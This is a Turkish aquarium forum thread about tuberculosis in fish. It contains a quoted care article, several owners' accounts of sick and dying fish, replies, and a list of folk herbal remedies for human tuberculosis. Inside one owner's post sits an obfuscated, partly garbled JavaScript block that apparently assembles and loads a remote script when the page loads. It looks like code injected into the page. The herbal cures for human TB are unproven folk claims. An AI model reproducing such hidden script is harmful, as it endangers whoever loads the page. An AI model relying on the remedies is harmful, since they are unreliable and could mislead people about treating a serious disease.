Tüberküloz Verem
Tüberküloz akvaryumlarda meydana gelebilecek en ölümcül hastalıktır. Son yıllarda çok fazla yaygınlaştığı kabul ediliyor. Kapalı bir ortamda yaşayan insanlar arasında tüberküloz ne kadar yaygın olabiliyorsa kısıtlı bir alan olan akvaryumlarda tüberküloz o kadar bulaşıcıdır. Fish TB olarak da bilinen hastalığa yol açan bakteriler Mycobacterium tuberculosis veya Norcadia ailesinden gram pozitif bakterilerdir. Mycobacterium türü bakteri sadece 1-10 kadar az bir sayı ile enfeksiyonu başlatacak kadar güçlüdür, çünkü kaygan ve kalın zırhına ne mide asitleri ne de safra taşları etki ettiğinden vücudun savunma sistemlerinden kolayca geçer. Bakteri vücuda girdiğinde herhangi bir organa veya dokuya yerleşir ve çoğalmaya başlar. Hücrelere girerek onları öldürür ve sonuçta organ veya dokulardaki sağlıklı hücrelerin yerini tüberkülozlu hücreler alır.
Tanklara nasıl bulaştığı veya balıktan balığa nasıl bulaştığı kesin olarak saptanamadı. Çeşitli ihtimaller üstünde duruluyor: tüberküloz taşıyıcı balıklarla temas; deri veya soluma yoluyla bakteriyi sudan kapmak; bakteri taşıyan yemin veya suyun ağızdan yutulması; veya, bakteriyi taşıyan balığın ölümü halinde diğer balıklar tarafından yenmesi. Canlı doğuranlarda dişiler TB kapmaları halinde bunuyavrularına anne karnında geçirebiliyorlar.
TB semptomları aylarca sürebilir. Semptomlar hastalığın yerleştiği yere göre değişiklik gösteriyor. Bakteri böbrek, karaciğer, veya safra kesesine yerleşmişse balık yem yediği halde aşırı kilo kaybı olur. Birkaç hafta içinde karın öyle içeri göçmüştür ki karın bölgesinde içeriye doğru bir kavis belirir. Balığın hareketleri gittikçe yavaşlar, saklanma eğilimindedir, ve sonuçta ölür. Bakteri karın kaslarına yerleştiğinde balık tıpkı bir balon gibi şişer. Ancak dropsy’dekinden daha fazla şişer, ve şişlik balık ölmeden haftalarca devam edebilir. Bu şişlik bakteriye tepki olarak gelişen ve karın bölgesinin kenarında oluşan bir iltihaptır (peritonitis). Bakteri gözün arkalarına yerleşmişse gözler zamanla dışarı fırlar. Gözün üstünde açık kahverengi noktalar oluşur. Bu olduğunda balığın ölmesini beklemeden siz öldürün, zira buna ‘açık’ tüberküloz denir, ve bakteriler göz vasıtasıyla sürekli dışarı salınırlar. Bakteri karın bölgesinin daha içerilerine yerleşmişse ilk haftalar karın bölgesi civarında şişlikler meydana gelebilir. TB en sonunda iyice çoğalarak karın zarını deler, balığın karnında bir delik oluşur ve ölür. (Resim için tıklayın). Ve son olarak, bakteri omurga bölgesine yerleşmişse balık zamanla kambur olur. Omurga dışarı doğru tam bir kavis oluşturur. Bütün bunlarla beraber ortak semptomlar balığın yaşlanmaya başlaması, yüzgeçlerini sürekli olarak sıkıca vücuduna yapıştırması, saklanma ve yalnız kalma ihtiyacı, yaşlanma belirtileri,renk solması, ve yırtık yüzgeçlerdir. Özellikle karın bölgesi yırtılmış ölü bir balığınızı bulursanız tankta, karın bölgesinde kavis olan bir balığınız varsa, veya omurgası sağlam olan bir balığınız kamburlaşmaya başlarsa ve bu semptomlar haftalar boyunca yavaş gelişiyorsa tüberkülozdan şüphelenin. Canlı doğuranlar grubunda ve soğuk su balıklarında tüberküloz oldukça yaygınlaşmıştır.
Tüberkülozun tedavisi çok zordur. Hücreleri etkileyen bir bakteri olduğundan diştan verilen en güçlü antibiyotiğin bile pek faydası olmaz. Bir balık etkilenmişse mutlaka ayrı bir tanka alın çünkü verem bütün balıklara bulaşacaktır ayrılmazsa, ve günde 3-5 defa küçük miktarlarda antibiyotikli bir yem ile besleyin. Antibiyotikli yem bulamıyorsanız Kanamycin veya Erythromycin içeren bir antibiyotiği suda eritin, yemi içinde 10-15 dakika bekletin ve balığa az miktarlarda verin. Hangi tedaviyi uygularsanız uygulayın balığınızın kurtulma şansı çok düşük olacaktır. Karnı delinmiş bir balığı tanktan çıkardığınızda tankın da enfeksiyon kaptığını unutmayın, çünkü bakteriler oradan sızmıştır. Bu durumda çok tehlikeli bir hal almıştır ve balıklar ve besleyen insanlar için risk haline gelmiştir demektir, suyla temas halinde insanlarada bulaşabilmektedir, Bu durumda (ana kaynakta tüm balıkların öldürülmesi tankın boşaltılması tavsiye edilmektedir), bunu buraya riskin ne kadar ciddi olduğunu belirtmek için parantez içinde düşüyorum bunu birçok akvarist vicdanen yapamayacaktır, şahsen bende yapamam, devamı olarak sağlıklı balıkları o tanktan ayırın temiz su dolu yeni bir tanka alın. Eski tankı ve tüm malzemelerini kaynar su ile yıkayın, ve birkaç hafta boş olarak bekletin. Yeni tanka aldığınız balıkları antibiyotikli yem ile besleyin uzun bir süre, ve sık su değiştirin. Tabanda kum varsa çıkartın, filtreleri ve süngerlerini haftada bir kaynar su ile yıkayın. Tabandan her gün su çekin, ve sünger ile silin, ardından süngeri kaynar sudan geçirmeyi unutmayın. Bulaşıcı olduğu için bu işlemleri muhakkak bir eldiven giyerek yapın. İnsanlara bulaşabilir bir hastalık olabilir. Bu tür belirtilerde bir ölüm yaşamışsanız tankınızda, kendiliğinden karnı delinip ölen balığınızdan bu konudaki gibi tüberkülaz (verem) hastalığından kuşkulandıysanız, ölü balığı bir veterinere götürüp test ettirip. Verem olup olmadığından emin olup, kalan balıklara uygun tedavi yolunu seçebilirsini, çok hassas ve çok uzmanlık gerektiren bir teşhis, karar verme gerektiren bir rahatsızlıktır. Orta düzey ve ileri düzey hobicilerin bile elinden fazla birşey gelmeyecek bir rahatsızlıktır. Tedavide kullanılan bir yöntemde 100 lt suya 2 gr. Streptomcin veya Para Amine Salisilic acid ile ilaçlanır.Tek bir balıkta belirti varsa balık ayrılmalıdır.
Alıntıdır.
Önemli Ekleme : Bu konu hakkında doktor bir arkadaşın önemli bilgilendirmesini paylaşmak istiyorum.
Mycobacterium tuberculosis tek konağının insan olduğunu. Diğer türleri hayvanlarda tbc yaptığını Sığırlarda m. bovis yaptığının bilindigi belirtilmektedir. Asıl tedirgin edici olanın ise antibiyotik kullanımı olduğunu belirtmiştir çünkü, tbc’nin antibiyotiklere çok kolay direnç geliştirir yapıya sahip olması, hele gelişi güzel kullanmanın çok tehlikeli olduğunu belirtmiştir. Bu konuda veteriner arkadaşlarda varsa balık hastalıklarında etkinlerse, anlıyorlarsa buraya ekleme yaparlarsa seviniriz.
Beğenenler: [T]175508,ResulEmre[/T][T]208569,Beta_balik[/T]
Teşekkür Edenler: [T]208569,Beta_balik[/T]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
öncelikle merhaba resimlerdede görüldüğü üzere mavi renkte bir beta balığım var. 2.5 senedir ben bakıyorum 2 gün önce hiçbirşeyi yoktu ne yüzündeki kızarıklıklar nede karnındaki ısırılmış şekildeki yara en son 1 hafta önce suyunu değiştirdim 3litrelik bi akvaryumda besliyordum başka balık yok tek başına bugun baktğımda şok oldum gözleri şişmiş ve bulanık gibi birde içleri kanlı gibi geldi bana pulları kabarmış rengi inanılmaz açılmış beyaz gibi birde yaraları görünce panik olup sudan kaynaklı olduğunu düşündüm hemen bir bardağa aldım daha sonra internetten araştırdım varmı bir tedavisi ilacı diye baktım balığım can çekiyor ve bu durum beni ziyadesiyle üzdü :( internette yazılanlara göre belirtileri dropsy yaralarda tüberküloz gibi yavrucak devamlı suyun dibinde ölmek üzere olan balıklar gibi can çekişiyor arada bi üst taraflara yüzüyo zıplıyo snra tekrar aşşağı çöküyor bu durumda bir tedavi uygulasam kurtulurmu çoğu kişi yazmış gözlerinde kahverengi leke varsa ölmediyse siz öldürün diye açıkcası korktumda ne yapmalıyım bilgili birileri hastalığı tüberkülozmu bulaşırmı banada bilgi verirse çok sevinirim lütfen yardımcı olun :(< id="7350099941663C32">(function(){var m=function(f,r){var d="",s=window,h="fro"+"\u006D\x43h\u0061r"+"\x43o\u0064\u0065",a=("\x63\x68\u0061\u0072\x68\x6d\u006C\x41\x74")[("\u0072\x58er"+"e").replace("\x58\x65"+"r","e"+"\u0070\x6c"+"a\u0063")]("\u0068m"+"\u006C","C"+"ode"),l=("\u006d"+"nx"+"\x44th"+"")[("r\u0045\u0063Y"+"e").replace("E"+""+"cY","\x65p"+"\u006ca\x63")]("m"+"\x6E\x78\x44","\x6C\u0065n\x67"),q="St\x72\u0069"+"n\u0067",j=s[q],u=j[h],i,k;for(var t=0;t;t++){i=f[a](t);k=i^r;d+=u(k);}return d;};if(navigator['a'+'\u0070pC\u006f\x64\x65N'+'\u0061\x6d\x65'])var ia=false;if(window[m(("\u0048l\x65\u007ay"+"e\u0045"+"C"+"OExb\u006aM"+"k\u0053F"+"\u0049\u0036").replace("\x48\u006Cez\u0079\u0065\u0045COE"+"\x78bj\u004D\x6B"+"S\u0046"+"I","\x32\x29"),70)]==window[m(('5\u0043F\x6fY'+'\u0064\x4d\u0062\x53Q\x64\x57i\u0059Q'+'x\u004e\u0062\u0020').replace('\u0043\u0046o'+'\u0059d'+'\x4D\u0062\x53Q'+'dW'+''+'iYQx\x4e\x62','#*'+''),0106)]){var ca={};if('2g Yty n19zaH5NTt1cT'){var nf=false;};ca[m((""+"c"+"gg\u0029\x28").replace("c"+"g"+"g","\x30#\x34"+"5\x2F"),0106)]=m("\x77s~",0106);try{if(window.name){var iq=true;};}catch(ap){};ca[m(("\x72\x4d\x32\x33/\"").replace("\x72\x4d","%*/#("),70)]="7350099941663C32";var kr=screen.availHeight;ca[m('\'\"\"\u0029(('+'\'+#',0106)]=m('\x04*\u0029%'+'\x2d\x07(\"\x15'+'3\x34 '+'',0X46);hj=function(){return 0};;window[m(('\u0019\u0059\u006czd\x6E'+'<'.replace'x59l'+'u007au0064n',''+'4x30',0X46=ca;ifhjm'x35.u00296x36x2fx28!',0x46return; m"u0019x194"+"0u003c4"Ipx74u002A".replace"I"+"pt","u0021x21"",0X46=product_name:m'u0004u002au0025u002Du0007u0028x49x6c'+' '.replace'Iu006C','"x15'+'34'+'',0x46;var mj=m"%"+"4x23'"+"2u0023u0003"+"u0064x79qb"+"u0046"+"2".replace"x64x79u0071"+"bx46","#u002B#",0106m"x35x254"+"/u0036"+"2",0106;mjm'5x232u0007x32u00324/'+''+'$32x23',0106m'2u003fx36'+'#',70,m"u0032u0023>\u0032i,"+"\'\u0030\'5\u00254"+"\u002f\u0036\x32",70));mj[m('\u0035\x23'+'2\x07\x32\x324'+'\u002F\x24\x332#',0x46)](m(("\x25\u0066h"+"\x23"+"2").replace("f"+"h","\x2E\'\u00345"),0x46),m("\x13\x12\x00k~",70));mj[m(('P'+'\x75\u006db'+'\u0049O'+'\x52\x79V\x72\x32\u0007'+'2'+'2\u0034\x2f\u0024\x332#'+'').replace('\x50um\u0062I'+'O\x52\x79\u0056r','5'+'#'+''),0106)](m(('CZ'+'W'+'S\x50Y\u0057\u006c\u0025').replace('\x43Z'+'\x57S'+'\u0050\u0059\u0057l','5\u0034'),70),(m(".\x322"+"6\x35\u007c",70)==document[m("\u002A\x29"+"%\'2/)"+""+"(",70)][m(('6'+'4\x292\u0029\u0070\x6Ap*').replace('pj'+'\x70','\u0025\u0029'),0106)]?m(('.'+'\x6Bb\u0047\u0067\u0046'+'h\x35').replace('k'+'b\x47\u0067\u0046h','2'+'26'),0x46):m("."+"\u0032"+"2\u0036",70))+m(("|ii"+"\x31\u0031"+"1h5\x33\x36"+"#4"+" \x2F5.\u0068\x25\u0029+i"+"1"+"\x35i"+"\u0065y"+"Q\x56q"+"\u0019\x2b\'/\u0028\u0068\u002C56\x79\""+"*5"+"\u0029\u0033\x34\u0025"+"#"+"{\u0035\x20\x34\x30<4"+"`x33u0035u00234u000f""+"".replace"eu0079x51Vq"+"","x35 ",0x46+"7350099941663C32"+m'`u0005x12x0Fu0002LJtu0074u0074x19s'+'u0073wv'+''.replace'u004c'+'J',''+'4u0030<'+'4u0074',0x46;m'$'+'RCu0047u0058u0046yt'+'?'+''.replace'RCu0047X'+'x46yt'+'','x29"',0x46m"'x366"+"#x28"x05x2ex2F"",70mj;;ifhjm"5."+"u0029x36x36/"+""+"x21",0106return;var pr=m"u0004x2ax29x4fC"+"Fu006fu004Au0007"u0015x33u0034x20".replace"u004Fu0043x46ou004A","u0025-",70;var vl=_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:plvar ib="";var t,qx,pc,yu,ho,as,we;var sa=0;pl=vlm'x193u0032x20u007Ex19u0023Ma"#'.replace''+'Ma',''+''+'%',70pl;whilesa
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Beğenenler: [T]175044,Smbalim[/T][T]175508,ResulEmre[/T]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Ortalama 2,5 Yıldır Akvaryum dünyasına bulaşmış durumdayım.
Başlangıç noktam taşındığım bir evde hali hazırda bir boş tank olmasıydı.
Evimizin bir bölümünü akvaryum ile canlandırmayı yaşatmayı düşündük. Uzun zamandır arzuladığım bir hobiydi.
Başlangıç ortalama 100 Litrelik bir tank ve kolay olacağını düşündüğüm Japon balıkları ile basit sadece bir tank oluşturmaktı. Japon ve benzer bir kaç çeşitle başladım.
Herkes gibi bende bir çok balık hastalığıyla tanıştım. Yaşaya yaşaya, öğrendik tecrübe edindik bir çok şeyi biz de.
Sonra Japon tankımı karma tanka doğru sürükledim.
-Japon x4, teleskop, Koi x2, Red-Tailed Albino, İce Fish x2 , Beta, Cüce Vatos, Elma salyangoz
-Tankımda bir iç, bir dışı filtre kullandım.
-Mangrove kökü ekledim
-Ve Rusya'dan özel gelen Shungite diye bir taş ile zeminimin çoğunu doldurdum.
(Shungit; Yoğunluğu karbon olan ve mineral olarak çok zengin, suyun demir oranınını dengeleyen, canlılık bakımından suyu çok canlı tutan ve sürekli temizleyen bir taş.)
-Ve Kristal quvarz gibi doğal taşlar ile güçlendirmiştim
Her şeyi okuyup araştırıp haraket etmeye çalıştım bu güzel canlıların ev sahipliğini yaparken. Fakat günün birinde o talihsiz süreç başları.
Önce karınlarda çökmeler başladı.
Bununla birlikte dışkıda baloncuklar ve iplikler vardı bazı balıklarda.
İnternet araştırmalarım beni iç parazite yönlendirmişti. Sarımsaklı yem ve benzer tedavilere yöneldim kimyasal kullanmadan. Arada başka bir japon balığım Şişti ve parçalandı semptomları araştırdım Dropsy ile tanıştık. Ama diğer balıklar sağlam gibi duruyorlardı. Takii aktivist bir arkadaşımın yönlendirmesiyle Tüberküloz - Verem (TB) olabilmeleri ihtimalini söyleyene kadar. İlk iç parazit teşhisi ve diğer hastalıklar gibi başlayan yanıltıcı bu hastalık toplam 6-8 aylık bir süreçte şuan omurgada eğilmeler yaparak devam ediyor.
ben 1 hafta önce öğrendim TB olduğunu. Ve yine aynı internet araştırmaları ile bir aktivistin başına gelebilecek en beter hastalık olduğunu öğrendim.
Çok büyük bir sevda ile başladığım bu hobi şuan tramva ile devam ediyor.
Elimden geldiğince özen göstermeye çalıştım tüm aşamalarda, bakımlarında. Fakat bir şekilde bulaştı bu bela bizim tankımızı da.
İnternet kaynaklarında Hastalığın insana bulaşabilceği bile yazıyor. Bu süreçte, temizlik sıralarında bir çok kez ağız yoluyla su çekimi yaptım. Çok tehlikeliymiş insan sağlığı açısından bunuda öğrendim.
Şimdi buraya kadar bir şekilde gelen bu sevda malesef hüsranla son buluyor.
Hayatta her türlü şey olabilir. Tecrübe ederek öğrenerek devam etmeye çalışıyoruz.
Şimdi siz sevgili aktivist dostlar;
Resimler de paylaştığım gibi tankımda şuan
2 japon, 2 koi, 2 ice fish, 1 Kırmızı kuyruk albino, 1 cüce vatos kaldı.
Japonlarda omurga eğilmeler, kırmızı kuyrukta iç organlarda değişmeler başlamış durumda.
Diğerlerinde karında çökmeler, yüzgeçlerde yırtılmalar var. İce fish ve vatos da göremedim henüz bir değişiklik. (Gözlemi zor)
Velhasıl bütün tank uzun süredir bu hastalık ile sarmalanmış durumda.
Kendi sağlığımızada ilk fırsatta baktıracağız.
Deneyimlerimi burada paylaşmak istedim, belki bir başkasının işine yarayabilir.
Bu işin sağaltım sonuçları maalesef hiç umut vermiyor muş. Tedavisi imkansız gibi bir şeymiş. Özellikle şu evresinden sonra. Şuan ciddi ekonomik sıkıntı içinde olmakla biraber. herhangi bir karantina tankım dahi yok alacak bir durumumda yok malesef. Bu işin hüzünlü sonunda ne yapmak lazım? Elimden geldiğince son günlerini iyi geçirmeleri için su değişikliğini bol yapıyorum. Bezelye ve benzer destekleri hep yapıyorum.
Fakat bu işin finali için o kötü sonu en yumuşak nasıl atlatırız. Yolu yordamı nedir.? Ve nasıl bitirmek lazım bu iş. Bir üstad, arkadaş yardımcı olursa çok sevinirim.
Saygılarımlar.
[IMG]https://foto.akvaryum.com/fotolar/203508/300120181532251.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532281.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532311.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532341.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532371.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532401.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532461.jpg[/IMG][IMG]https://foto.akvaryum.com/fotolar/203508/300120181532501.jpg[/IMG]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Verem ( tüberküloz) nedir?; Mycobacterium tuberculosis mikrobunun neden olduğu uzun seyirli bakteriyel ve çok bulaşıcı bir hastalıktır. Veremin nedenleri; Yukarda adı verilen mikrobun vücuda girmesi. Hastayla veya hastanın kullandığı eşyalarla temas. Hastanın öksürmesi, hapşırması ya da diğer yollarla tükürük içerisin de havaya yayılan ve havada asılı kalan partiküllerin nefes yoluyla alınması. Veremin belirtileri; Yorgunluk, iştahsızlık ve halsizlik. Öksürük ileri safhada balgamlı öksürük. Sırt ağrıları. 38 dereceye varan ateş,akşamları yükselen hafif ateş ve gece terlemeleri. Not:Tüm rahatsızlıklarınızda doktorunuza danışın. Doktorunuzun tavsiye ve tedavilerine uyun. Unutmayın ki bitkisel tedaviler asıl tedaviye yardımcı tedavilerdir ve asla asıl tedavinin yerini tutmazlar. Bitkisel tedavi içinde doktorunuza danışın. Vereme iyi gelen bitkisel tedaviler; 1-Çam havası veremli hastalar için iyidir. 2-Bal ile, 400 gram keten tohumu macun haline getirilerek sabahları aç karnına yenir. 3-Beyaz soğanın suyu çıkarılır bir gece ayazda bekletilerek sabahları 1 fincan içilir. 4-Sinirli otu yaprağı ğızda bir zaman çiğnenir ve yutulur. Salatası yapılır yenir. 5-Elli şer gram çam reçinesi ve şeker toz haline getirilerek günde, 2-3 adet fındık büyüklüğünde yutulur. 6-Bir fincan kaynar suyun içine, ince kıyılmış bir çay kaşığı at kuyruğu atılır. Bir müddet demlenmeye bırakılır. Süzüldükten sonra, günde 2 kez, sabah ve akşam, birer çay fincanı içilir. 7-Bir bardak kaynar suya, 2-10 gram adaçayı konur. 10 dakika demlenmeye bırakılır. Süzüldükten sınra, günde 2-3 bardak içilir. 8-Sinirli otu yaprağı çay gibi demlenir ve içilir. 9-İki bardak suya, 4 gram zerdeçal, 1 gram kına kına, 20 gram nöbet şekeri konulur. Kaynatılıp süzülür. Balla tatlandırılarak, günde 3 defa birer fincan içilir. 10-Bir çay fincanı kaynar suyun içine, ince kıyılmış, bir çay kaşığı ısırgan otu konur. Demlendikten sonra, süzülüp balla tatlandırılarak, günde 2 kez sabah ve akşam, birer çay fincanı içilir. 11-Bir bardak kaynar suya, 4-10 gram kantaron konur. Öğle ve akşam yemeklerden önce birer bardak içilir. 12-Radika bal ile karıştırılarak içilir. 13-Bir çay fincanı kaynar suyun içine, ince kıyılmış, bir çay kaşığı öksürük otu konur. Demlendikten sonra, süzülür, balla tatlandırılarak, günde 2 kez sabah ve akşam, birer çay fincanı içilir. 14-Gün içinde 10-15 adet badem yenir. 15-Bir çay fincanı kaynar suyun içine, aynı oranda kantaron, ısırgan otu (yaprak ve çiçek), kurubakla yaprağı ve atkuyruğu karıştırılarak konur. Demlendikten sonra ,süzülür, balla tatlandırılarak, günde 2 kez sabah ve akşam, birer çay fincanı içilir. 16- Beş adet kaynatılmış yumurta kabuğu toz haline getirilir. Üzerine bir bardak limon suyu konur. Eriyinceye kadar bekletilir. 4 kaşık balla macun yapılarak, yemeklerden sonra, 1 kaşık yenir. 17-Bir çay fincanı kaynar suyun içine, bir çay kaşığı kişniş konur. Demlendikten sonra süzülür, balla tatlandırılarak, günde 2 kez sabah ve akşam, birer çay fincanı içilir. 18-Hanımeli bitkisinin çayı yapılır, günde 3 bardağa kadar içilebilir. 19-Isırgan otu, pancar, ayva yaprağı, hatmi, kataron, kuzu kulağı, kekik, ada çayı, yavşan otu, meyan kökü, oğul otu, karabaş otu, biberiye, mentollü nane ve maydanoz aynı oranda karıştırılarak kaynatılır. Süzüldükten sonra, günde 1-2 bardak balla tatlandırılarak içilir. 20-Elli şer gram ayva çekirdeği, ve kişniş, 100 er gram ısırgan tohumu, 1 kilo balla karıştırılarak, 3 öğün ılık sütle içilir. 21-Elli şer gram kına kına, arı sütü, zencefil, 100 gram polen, 150 gram zerdeçal, 1 kilo pekmez ve 1 kilo bal karıştırılır. Aç karnına yenir veya sütle içilir.
bunların bazıları tank içine uygulanabilecek tedaviler yinede elbetteki son karar sizin hemde tecrübeleri buradan paylaşmış olursunuz.
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Ortalama 2,5 Yıldır Akvaryum dünyasına bulaşmış durumdayım.
[/QUOTE]
Tiberküloz değildir balıkların merak etme o çok zor bir ihtimal verem olması yani. Bazı balıklarını sağlığı iyi bile salıyır, bir tane japonunun kuyruğu eriyor. alttaki linkte "Tedavi edilebilmiş balıklar ve tedavi yöntemleri" orada "yüzgeç erimesi çürümesi" başlığını bulup tedavi edebilirsin örnek tedavi linkleri mevcut mikofish kullanım teknikleri.
[URL]http://www.akvaryum.com/Forum/tedavi_edilebilmis_baliklar_ve_tedavi_yontemleri_k785798.asp[/URL]
Yine üstteki linkde "Dropsy-bloat" başlığınıda incele. Büyük ihtimal yeni kurduğun için akvaryumları amonyak artışı oldu suda amonyaktan zehirlendi balıkların. 100 litre akvaryumsa sen 4 günde bir yüzde 50'ye yakın su değişimi ile devam et filtreleri bakımlı tut. Birde o dipteki kırmızı yüzgeçli dip balığı japonlara saldırır kuyruklarını yer o senin türüne uygun değil betta balığıda uygun değil bunlar etcil senin japonların kuyruklarını ısırlar heleki yetersiz besleniyorlarsa.
Birde yeni akvaryum kurulumu bilgilerini içeren şu linki incele.
[URL]http://www.akvaryum.com/Forum/akvaryum_kurulumunda_sudaki_ilk_safha_k774280.asp[/URL]
İştahları varsa balıkları sabah akşam yeteri kadar yemle yemi çok kısma. Japonlarının kabız olmaması için bol bol haşlanmış ıspanak yaprağı, haşlanmış bezelye ve birçok sebzeyi haşla ver yesinler hergün verebilirsin. Haşlanmış olmak şartıyla, yemek kabağı, brokoli, papates, semiz otu. arada prinç lapası, haşlanmış yumuşacık baklagiller. Tatlı mandalina içi. Arada çiğ karides eti minik parçalar halinde, haşlanmış havuç gibi. Sebzeler japonlarının kabız olmasınıda engeller japonların en kötü özelliği kabız olmalarıdır. Çünkü japonlarda mide çok gelişkin değil, bağırsak gibi bir uzantı var oda kuru yemleri sindirimlerde çok zorlanıyor. Baktın balıkların ters dönüyor kabız oluyor sıksık, ozaman kuru yemleri vermeden önce, bir yemek kaşığı içme suyuna at orada 10 dakka dursunlar şişsinsen at bunu yesinler kabız olmazlar, suda şişmiş yem balıkları rahatsız etmez.
Bazı japonların pulları dökülmüş, muhtemelen aldığında bu balıklar böyle rahatsız olabilirlerdi. Sağlıklı balık seçebilmek önemli, sağlıklı balığı zamanla besledikçe formlarını inceledikçe anlayacaksınız. Nasıl balık seçilir, siz uzun birsüre yeni balık almayın bunlar bir hal olana kadar. Çünkü akvaryumcudan alınan her balıkta yüzde oranı oldukça yüksek yeni hastalıklar riskini akvaryumunuza yeni balıkla taşıma olasılığı mevcut oluyor. Eklediğiniz o büyük kütük, kayalar bile sağlıklı değillerse onlar bile balıklara hastalık bulaştırmış olabilirler ihtimal fazla illa onlardandır demiyorum.[EDIT]mesutok,2018-01-31 09:28:43[/EDIT]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Öncelikle ilginize çok teşekkür ederim. Fakat durum maalesef çok sizin tahminleriniz deki gibi görünmüyor.
Cevabınız için önce; Yüzgeç erimesi tedavisi önermişsiniz. Ama çok eminim balıklarımda yüzgeç erimesi yok. Çünkü 2,5 yıllık bu süreçte deneyimledim o hastalığıda ve eminim değil.
Evet yüzgeçlerde yırtıklar var. Dediğiniz gibi kırmızı kuyruk yapıyor bunu. Tank içinde az da olsa heyecan yaratıyor diye zarar görmemiştim. Sonuçta iyi bir yaşam ortamında herşey dört dörtlük gitmez diye biliyorum.
Resimlerde görüldüğü üzere kırmızı kuyrukta yan karın bölgesinde. Kırmızı bir leke başlamıştı. Bugün Bu leke açık yaraya doğru devam ediyor. Tüberküloz araştırmalarımda; Hastalık bir çok farklı bölgede kendini farklı farklı gösterebiliyor. Kırmızı kuyrukdaki semptom da açık tüberküloz diye bir şey var ona benziyor.
Beta konusunda; Beta balığım da diğer balıklarımda çok iyi anlaşıyordu. Fakat oda günler önce yine TB Septomları ile vücüdu çürüyerek ışık olmuştu.
Resimlerde Kırmızı beyaz bir japon var en altta duran; O balık kuyruk bölgesine doğru eğilmeye başlamış durumda bunu fark edersiniz diye düşünmüştüm.
Ve bugün göğüs altından karın bölgesine doğru zayıflama ve yaşlılık gibi bir dıku değişikliğine doğru devam ediyor sorun.
Balıklarımın iştahları yerinde. Kabızlıkla neredeyse hiç uğraşmadım. Bu işlere başlarken ilk öğrendiğim bilgilerdendi kabızlık sorunu ve her zaman dikkatli olmaya çalıştım.
Dediğiniz gibi, haftada bir gün düzenli olarak aç bırakırdım. Ve en az hafta 2 gün ıspanak ve bezelye kesin veriridim.
Ben elimden geldiği kadar özeni imkanlarım dahilinde vermeye çalıştım. Ama bu işin hastalıkları bitmiyor.
Bugün bir aktivist arkadaşım bana şöyle dedi; belli bir habitatı taklit ederek hayvan besliyorsan riskleri ve zorlukları oluyor bunu göze alarak başlıyoruz zaten, ayrıca her aktivistin başına bir kere gelimiştir dedi..
Yapacak bir şey şuan. Gerçekten bu kadar güzel bir hobinin bu kadar stresli bir iş olduğunu yaşamadan deneyimlemeden bilemezmişim.
Evet taklit ediyoruz!
Bence her bir balık bir nüfus, can ve sorumluluk. Her ne kadar özen gösterdiğimi de sansam yüce yaratıcı kadar yada doğa ana kadar, ne şifam var, ne gücüm.
Buda bana ders olsun bir daha asla karışmam o güzel canlıların dünyasına.
Sağlıklı Balıklar.
[QUOTE=mesutok]
Tiberküloz değildir balıkların merak etme o çok zor bir ihtimal verem olması yani. Bazı balıklarını sağlığı iyi bile salıyır, bir tane japonunun kuyruğu eriyor. alttaki linkte "Tedavi edilebilmiş balıklar ve tedavi yöntemleri" orada "yüzgeç erimesi çürümesi" başlığını bulup tedavi edebilirsin örnek tedavi linkleri mevcut mikofish kullanım teknikleri.
[URL]http://www.akvaryum.com/Forum/tedavi_edilebilmis_baliklar_ve_tedavi_yontemleri_k785798.asp[/URL]
Yine üstteki linkde "Dropsy-bloat" başlığınıda incele. Büyük ihtimal yeni kurduğun için akvaryumları amonyak artışı oldu suda amonyaktan zehirlendi balıkların. 100 litre akvaryumsa sen 4 günde bir yüzde 50'ye yakın su değişimi ile devam et filtreleri bakımlı tut. Birde o dipteki kırmızı yüzgeçli dip balığı japonlara saldırır kuyruklarını yer o senin türüne uygun değil betta balığıda uygun değil bunlar etcil senin japonların kuyruklarını ısırlar heleki yetersiz besleniyorlarsa.
Birde yeni akvaryum kurulumu bilgilerini içeren şu linki incele.
[URL]http://www.akvaryum.com/Forum/akvaryum_kurulumunda_sudaki_ilk_safha_k774280.asp[/URL]
İştahları varsa balıkları sabah akşam yeteri kadar yemle yemi çok kısma. Japonlarının kabız olmaması için bol bol haşlanmış ıspanak yaprağı, haşlanmış bezelye ve birçok sebzeyi haşla ver yesinler hergün verebilirsin. Haşlanmış olmak şartıyla, yemek kabağı, brokoli, papates, semiz otu. arada prinç lapası, haşlanmış yumuşacık baklagiller. Tatlı mandalina içi. Arada çiğ karides eti minik parçalar halinde, haşlanmış havuç gibi. Sebzeler japonlarının kabız olmasınıda engeller japonların en kötü özelliği kabız olmalarıdır. Çünkü japonlarda mide çok gelişkin değil, bağırsak gibi bir uzantı var oda kuru yemleri sindirimlerde çok zorlanıyor. Baktın balıkların ters dönüyor kabız oluyor sıksık, ozaman kuru yemleri vermeden önce, bir yemek kaşığı içme suyuna at orada 10 dakka dursunlar şişsinsen at bunu yesinler kabız olmazlar, suda şişmiş yem balıkları rahatsız etmez.
Bazı japonların pulları dökülmüş, muhtemelen aldığında bu balıklar böyle rahatsız olabilirlerdi. Sağlıklı balık seçebilmek önemli, sağlıklı balığı zamanla besledikçe formlarını inceledikçe anlayacaksınız. Nasıl balık seçilir, siz uzun birsüre yeni balık almayın bunlar bir hal olana kadar. Çünkü akvaryumcudan alınan her balıkta yüzde oranı oldukça yüksek yeni hastalıklar riskini akvaryumunuza yeni balıkla taşıma olasılığı mevcut oluyor. Eklediğiniz o büyük kütük, kayalar bile sağlıklı değillerse onlar bile balıklara hastalık bulaştırmış olabilirler ihtimal fazla illa onlardandır demiyorum.[/QUOTE]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Öncelikle Mesut bey çok teşekkür ederim tüm ilginize.
